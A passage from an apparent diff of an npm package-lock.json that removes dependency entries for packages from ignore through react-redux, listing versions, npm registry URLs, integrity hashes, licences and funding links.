"sha512-2XaT+HpYGuc2uTExq9TVRhLsso+Dxym6PWaKpn36wfBmTI779OQ7iP/XaZHzrnGyzU4SHpFrTYLKfVyBfAhVNA==", - "funding": [ - { - "type": "individual", - "url": "https://locize.com" - }, - { - "type": "individual", - "url": "https://locize.com/i18next.html" - }, - { - "type": "individual", - "url": "https://www.i18next.com/how-to/faq#i18next-is-awesome.-how-can-i-support-the-project" - } - ], - "license": "MIT", - "dependencies": { - "@babel/runtime": "^7.28.4" - }, - "peerDependencies": { - "typescript": "^5" - }, - "peerDependenciesMeta": { - "typescript": { - "optional": true - } - } - }, - "node_modules/ignore": { - "version": "5.3.2", - "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.3.2.tgz", - "integrity": "sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 4" - } - }, - "node_modules/immer": { - "version": "10.2.0", - "resolved": "https://registry.npmjs.org/immer/-/immer-10.2.0.tgz", - "integrity": "sha512-d/+XTN3zfODyjr89gM3mPq1WNX2B8pYsu7eORitdwyA2sBubnTl3laYlBk4sXY5FUa5qTZGBDPJICVbvqzjlbw==", - "license": "MIT", - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/immer" - } - }, - "node_modules/import-fresh": { - "version": "3.3.1", - "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.3.1.tgz", - "integrity": "sha512-TR3KfrTZTYLPB6jUjfx6MF9WcWrHL9su5TObK4ZkYgBdWKPOFoSoQIdEuTuR82pmtxH2spWG9h6etwfr1pLBqQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "parent-module": "^1.0.0", - "resolve-from": "^4.0.0" - }, - "engines": { - "node": ">=6" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/imurmurhash": { - "version": "0.1.4", - "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", - "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=0.8.19" - } - }, - "node_modules/internmap": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/internmap/-/internmap-2.0.3.tgz", - "integrity": "sha512-5Hh7Y1wQbvY5ooGgPbDaL5iYLAPzMTUrjMulskHLH6wnv/A+1q5rgEaiuqEjB+oxGXIVZs1FF+R/KPN3ZSQYYg==", - "license": "ISC", - "engines": { - "node": ">=12" - } - }, - "node_modules/is-binary-path": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz", - "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", - "license": "MIT", - "dependencies": { - "binary-extensions": "^2.0.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/is-core-module": { - "version": "2.16.1", - "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.16.1.tgz", - "integrity": "sha512-UfoeMA6fIJ8wTYFEUjelnaGI67v6+N7qXJEvQuIGa99l4xsCruSYOVSQ0uPANn4dAzm8lkYPaKLrrijLq7x23w==", - "license": "MIT", - "dependencies": { - "hasown": "^2.0.2" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/is-extglob": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", - "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==", - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/is-glob": { - "version": "4.0.3", - "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", - "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", - "license": "MIT", - "dependencies": { - "is-extglob": "^2.1.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/is-number": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", - "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", - "license": "MIT", - "engines": { - "node": ">=0.12.0" - } - }, - "node_modules/isexe": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", - "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", - "dev": true, - "license": "ISC" - }, - "node_modules/jiti": { - "version": "1.21.7", - "resolved": "https://registry.npmjs.org/jiti/-/jiti-1.21.7.tgz", - "integrity": "sha512-/imKNG4EbWNrVjoNC/1H5/9GFy+tqjGBHCaSsN+P2RnPqjsLmv6UD3Ej+Kj8nBWaRAwyk7kK5ZUc+OEatnTR3A==", - "license": "MIT", - "bin": { - "jiti": "bin/jiti.js" - } - }, - "node_modules/js-tokens": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", - "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/js-yaml": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.1.tgz", - "integrity": "sha512-qQKT4zQxXl8lLwBtHMWwaTcGfFOZviOJet3Oy/xmGk2gZH677CJM9EvtfdSkgWcATZhj/55JZ0rmy3myCT5lsA==", - "dev": true, - "license": "MIT", - "dependencies": { - "argparse": "^2.0.1" - }, - "bin": { - "js-yaml": "bin/js-yaml.js" - } - }, - "node_modules/jsesc": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-3.1.0.tgz", - "integrity": "sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA==", - "dev": true, - "license": "MIT", - "bin": { - "jsesc": "bin/jsesc" - }, - "engines": { - "node": ">=6" - } - }, - "node_modules/json-buffer": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.1.tgz", - "integrity": "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/json-schema-traverse": { - "version": "0.4.1", - "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", - "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", - "dev": true, - "license": "MIT" - }, - "node_modules/json-stable-stringify-without-jsonify": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz", - "integrity": "sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw==", - "dev": true, - "license": "MIT" - }, - "node_modules/json5": { - "version": "2.2.3", - "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz", - "integrity": "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==", - "dev": true, - "license": "MIT", - "bin": { - "json5": "lib/cli.js" - }, - "engines": { - "node": ">=6" - } - }, - "node_modules/keyv": { - "version": "4.5.4", - "resolved": "https://registry.npmjs.org/keyv/-/keyv-4.5.4.tgz", - "integrity": "sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw==", - "dev": true, - "license": "MIT", - "dependencies": { - "json-buffer": "3.0.1" - } - }, - "node_modules/levn": { - "version": "0.4.1", - "resolved": "https://registry.npmjs.org/levn/-/levn-0.4.1.tgz", - "integrity": "sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "prelude-ls": "^1.2.1", - "type-check": "~0.4.0" - }, - "engines": { - "node": ">= 0.8.0" - } - }, - "node_modules/lilconfig": { - "version": "3.1.3", - "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-3.1.3.tgz", - "integrity": "sha512-/vlFKAoH5Cgt3Ie+JLhRbwOsCQePABiU3tJ1egGvyQ+33R/vcwM2Zl2QR/LzjsBeItPt3oSVXapn+m4nQDvpzw==", - "license": "MIT", - "engines": { - "node": ">=14" - }, - "funding": { - "url": "https://github.com/sponsors/antonk52" - } - }, - "node_modules/lines-and-columns": { - "version": "1.2.4", - "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz", - "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==", - "license": "MIT" - }, - "node_modules/locate-path": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz", - "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==", - "dev": true, - "license": "MIT", - "dependencies": { - "p-locate": "^5.0.0" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/lodash.merge": { - "version": "4.6.2", - "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz", - "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/lru-cache": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz", - "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==", - "dev": true, - "license": "ISC", - "dependencies": { - "yallist": "^3.0.2" - } - }, - "node_modules/lucide-react": { - "version": "0.562.0", - "resolved": "https://registry.npmjs.org/lucide-react/-/lucide-react-0.562.0.tgz", - "integrity": "sha512-82hOAu7y0dbVuFfmO4bYF1XEwYk/mEbM5E+b1jgci/udUBEE/R7LF5Ip0CCEmXe8AybRM8L+04eP+LGZeDvkiw==", - "license": "ISC", - "peerDependencies": { - "react": "^16.5.1 || ^17.0.0 || ^18.0.0 || ^19.0.0" - } - }, - "node_modules/merge2": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz", - "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==", - "license": "MIT", - "engines": { - "node": ">= 8" - } - }, - "node_modules/micromatch": { - "version": "4.0.8", - "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.8.tgz", - "integrity": "sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==", - "license": "MIT", - "dependencies": { - "braces": "^3.0.3", - "picomatch": "^2.3.1" - }, - "engines": { - "node": ">=8.6" - } - }, - "node_modules/micromatch/node_modules/picomatch": { - "version": "2.3.1", - "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz", - "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==", - "license": "MIT", - "engines": { - "node": ">=8.6" - }, - "funding": { - "url": "https://github.com/sponsors/jonschlinkert" - } - }, - "node_modules/minimatch": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", - "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", - "dev": true, - "license": "ISC", - "dependencies": { - "brace-expansion": "^1.1.7" - }, - "engines": { - "node": "*" - } - }, - "node_modules/ms": { - "version": "2.1.3", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", - "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", - "dev": true, - "license": "MIT" - }, - "node_modules/mz": { - "version": "2.7.0", - "resolved": "https://registry.npmjs.org/mz/-/mz-2.7.0.tgz", - "integrity": "sha512-z81GNO7nnYMEhrGh9LeymoE4+Yr0Wn5McHIZMK5cfQCl+NDX08sCZgUc9/6MHni9IWuFLm1Z3HTCXu2z9fN62Q==", - "license": "MIT", - "dependencies": { - "any-promise": "^1.0.0", - "object-assign": "^4.0.1", - "thenify-all": "^1.0.0" - } - }, - "node_modules/nanoid": { - "version": "3.3.11", - "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.11.tgz", - "integrity": "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ], - "license": "MIT", - "bin": { - "nanoid": "bin/nanoid.cjs" - }, - "engines": { - "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" - } - }, - "node_modules/natural-compare": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz", - "integrity": "sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==", - "dev": true, - "license": "MIT" - }, - "node_modules/node-releases": { - "version": "2.0.27", - "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.27.tgz", - "integrity": "sha512-nmh3lCkYZ3grZvqcCH+fjmQ7X+H0OeZgP40OierEaAptX4XofMh5kwNbWh7lBduUzCcV/8kZ+NDLCwm2iorIlA==", - "dev": true, - "license": "MIT" - }, - "node_modules/normalize-path": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", - "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/object-assign": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", - "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==", - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/object-hash": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/object-hash/-/object-hash-3.0.0.tgz", - "integrity": "sha512-RSn9F68PjH9HqtltsSnqYC1XXoWe9Bju5+213R98cNGttag9q9yAOTzdbsqvIa7aNm5WffBZFpWYr2aWrklWAw==", - "license": "MIT", - "engines": { - "node": ">= 6" - } - }, - "node_modules/optionator": { - "version": "0.9.4", - "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.9.4.tgz", - "integrity": "sha512-6IpQ7mKUxRcZNLIObR0hz7lxsapSSIYNZJwXPGeF0mTVqGKFIXj1DQcMoT22S3ROcLyY/rz0PWaWZ9ayWmad9g==", - "dev": true, - "license": "MIT", - "dependencies": { - "deep-is": "^0.1.3", - "fast-levenshtein": "^2.0.6", - "levn": "^0.4.1", - "prelude-ls": "^1.2.1", - "type-check": "^0.4.0", - "word-wrap": "^1.2.5" - }, - "engines": { - "node": ">= 0.8.0" - } - }, - "node_modules/p-limit": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz", - "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "yocto-queue": "^0.1.0" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/p-locate": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz", - "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==", - "dev": true, - "license": "MIT", - "dependencies": { - "p-limit": "^3.0.2" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/parent-module": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz", - "integrity": "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==", - "dev": true, - "license": "MIT", - "dependencies": { - "callsites": "^3.0.0" - }, - "engines": { - "node": ">=6" - } - }, - "node_modules/path-exists": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", - "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/path-key": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", - "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/path-parse": { - "version": "1.0.7", - "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz", - "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==", - "license": "MIT" - }, - "node_modules/picocolors": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", - "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==", - "license": "ISC" - }, - "node_modules/picomatch": { - "version": "4.0.3", - "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz", - "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==", - "license": "MIT", - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://github.com/sponsors/jonschlinkert" - } - }, - "node_modules/pify": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz", - "integrity": "sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==", - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/pirates": { - "version": "4.0.7", - "resolved": "https://registry.npmjs.org/pirates/-/pirates-4.0.7.tgz", - "integrity": "sha512-TfySrs/5nm8fQJDcBDuUng3VOUKsd7S+zqvbOTiGXHfxX4wK31ard+hoNuvkicM/2YFzlpDgABOevKSsB4G/FA==", - "license": "MIT", - "engines": { - "node": ">= 6" - } - }, - "node_modules/postcss": { - "version": "8.5.6", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.6.tgz", - "integrity": "sha512-3Ybi1tAuwAP9s0r1UQ2J4n5Y0G05bJkpUIO0/bI9MhwmD70S5aTWbXGBwxHrelT+XM1k6dM0pk+SwNkpTRN7Pg==", - "funding": [ - { - "type": "opencollective", - "url": "https://opencollective.com/postcss/" - }, - { - "type": "tidelift", - "url": "https://tidelift.com/funding/github/npm/postcss" - }, - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ], - "license": "MIT", - "dependencies": { - "nanoid": "^3.3.11", - "picocolors": "^1.1.1", - "source-map-js": "^1.2.1" - }, - "engines": { - "node": "^10 || ^12 || >=14" - } - }, - "node_modules/postcss-import": { - "version": "15.1.0", - "resolved": "https://registry.npmjs.org/postcss-import/-/postcss-import-15.1.0.tgz", - "integrity": "sha512-hpr+J05B2FVYUAXHeK1YyI267J/dDDhMU6B6civm8hSY1jYJnBXxzKDKDswzJmtLHryrjhnDjqqp/49t8FALew==", - "license": "MIT", - "dependencies": { - "postcss-value-parser": "^4.0.0", - "read-cache": "^1.0.0", - "resolve": "^1.1.7" - }, - "engines": { - "node": ">=14.0.0" - }, - "peerDependencies": { - "postcss": "^8.0.0" - } - }, - "node_modules/postcss-js": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/postcss-js/-/postcss-js-4.1.0.tgz", - "integrity": "sha512-oIAOTqgIo7q2EOwbhb8UalYePMvYoIeRY2YKntdpFQXNosSu3vLrniGgmH9OKs/qAkfoj5oB3le/7mINW1LCfw==", - "funding": [ - { - "type": "opencollective", - "url": "https://opencollective.com/postcss/" - }, - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ], - "license": "MIT", - "dependencies": { - "camelcase-css": "^2.0.1" - }, - "engines": { - "node": "^12 || ^14 || >= 16" - }, - "peerDependencies": { - "postcss": "^8.4.21" - } - }, - "node_modules/postcss-load-config": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/postcss-load-config/-/postcss-load-config-6.0.1.tgz", - "integrity": "sha512-oPtTM4oerL+UXmx+93ytZVN82RrlY/wPUV8IeDxFrzIjXOLF1pN+EmKPLbubvKHT2HC20xXsCAH2Z+CKV6Oz/g==", - "funding": [ - { - "type": "opencollective", - "url": "https://opencollective.com/postcss/" - }, - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ], - "license": "MIT", - "dependencies": { - "lilconfig": "^3.1.1" - }, - "engines": { - "node": ">= 18" - }, - "peerDependencies": { - "jiti": ">=1.21.0", - "postcss": ">=8.0.9", - "tsx": "^4.8.1", - "yaml": "^2.4.2" - }, - "peerDependenciesMeta": { - "jiti": { - "optional": true - }, - "postcss": { - "optional": true - }, - "tsx": { - "optional": true - }, - "yaml": { - "optional": true - } - } - }, - "node_modules/postcss-nested": { - "version": "6.2.0", - "resolved": "https://registry.npmjs.org/postcss-nested/-/postcss-nested-6.2.0.tgz", - "integrity": "sha512-HQbt28KulC5AJzG+cZtj9kvKB93CFCdLvog1WFLf1D+xmMvPGlBstkpTEZfK5+AN9hfJocyBFCNiqyS48bpgzQ==", - "funding": [ - { - "type": "opencollective", - "url": "https://opencollective.com/postcss/" - }, - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ], - "license": "MIT", - "dependencies": { - "postcss-selector-parser": "^6.1.1" - }, - "engines": { - "node": ">=12.0" - }, - "peerDependencies": { - "postcss": "^8.2.14" - } - }, - "node_modules/postcss-selector-parser": { - "version": "6.1.2", - "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.1.2.tgz", - "integrity": "sha512-Q8qQfPiZ+THO/3ZrOrO0cJJKfpYCagtMUkXbnEfmgUjwXg6z/WBeOyS9APBBPCTSiDV+s4SwQGu8yFsiMRIudg==", - "license": "MIT", - "dependencies": { - "cssesc": "^3.0.0", - "util-deprecate": "^1.0.2" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/postcss-value-parser": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz", - "integrity": "sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==", - "license": "MIT" - }, - "node_modules/prelude-ls": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.2.1.tgz", - "integrity": "sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 0.8.0" - } - }, - "node_modules/punycode": { - "version": "2.3.1", - "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz", - "integrity": "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6" - } - }, - "node_modules/queue-microtask": { - "version": "1.2.3", - "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz", - "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/feross" - }, - { - "type": "patreon", - "url": "https://www.patreon.com/feross" - }, - { - "type": "consulting", - "url": "https://feross.org/support" - } - ], - "license": "MIT" - }, - "node_modules/react": { - "version": "19.2.3", - "resolved": "https://registry.npmjs.org/react/-/react-19.2.3.tgz", - "integrity": "sha512-Ku/hhYbVjOQnXDZFv2+RibmLFGwFdeeKHFcOTlrt7xplBnya5OGn/hIRDsqDiSUcfORsDC7MPxwork8jBwsIWA==", - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/react-dom": { - "version": "19.2.3", - "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-19.2.3.tgz", - "integrity": "sha512-yELu4WmLPw5Mr/lmeEpox5rw3RETacE++JgHqQzd2dg+YbJuat3jH4ingc+WPZhxaoFzdv9y33G+F7Nl5O0GBg==", - "license": "MIT", - "dependencies": { - "scheduler": "^0.27.0" - }, - "peerDependencies": { - "react": "^19.2.3" - } - }, - "node_modules/react-i18next": { - "version": "16.5.0", - "resolved": "https://registry.npmjs.org/react-i18next/-/react-i18next-16.5.0.tgz", - "integrity": "sha512-IMpPTyCTKxEj8klCrLKUTIUa8uYTd851+jcu2fJuUB9Agkk9Qq8asw4omyeHVnOXHrLgQJGTm5zTvn8HpaPiqw==", - "license": "MIT", - "dependencies": { - "@babel/runtime": "^7.27.6", - "html-parse-stringify": "^3.0.1", - "use-sync-external-store": "^1.6.0" - }, - "peerDependencies": { - "i18next": ">= 25.6.2", - "react": ">= 16.8.0", - "typescript": "^5" - }, - "peerDependenciesMeta": { - "react-dom": { - "optional": true - }, - "react-native": { - "optional": true - }, - "typescript": { - "optional": true - } - } - }, - "node_modules/react-is": { - "version": "19.2.3", - "resolved": "https://registry.npmjs.org/react-is/-/react-is-19.2.3.tgz", - "integrity": "sha512-qJNJfu81ByyabuG7hPFEbXqNcWSU3+eVus+KJs+0ncpGfMyYdvSmxiJxbWR65lYi1I+/0HBcliO029gc4F+PnA==", - "license": "MIT", - "peer": true - }, - "node_modules/react-redux": { - "version": "9.2.0", - "resolved": "https://registry.npmjs.org/react-redux/-/react-redux-9.2.0.tgz", - "integrity": "sha512-ROY9fvHhwOD9ySfrF0wmvu//bKCQ6AeZZq1nJNtbDC+kk5DuSuNX/n6YWYF/SYy7bSba4D4FSz8DJeKY/S/r+g==", - "license": "MIT", - "dependencies": { - "@types/use-sync-external-store": "^0.0.6", - "use-sync-external-store": "^1.4.0" - }, - "peerDependencies": { - "@types/react": "^18.2.25 || ^19", - "react": "^18.0 || ^19", - "redux": "^5.0.0" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "redux": { - "optional": true - } - } - }, - "node_modules/react-refresh": { - "version": 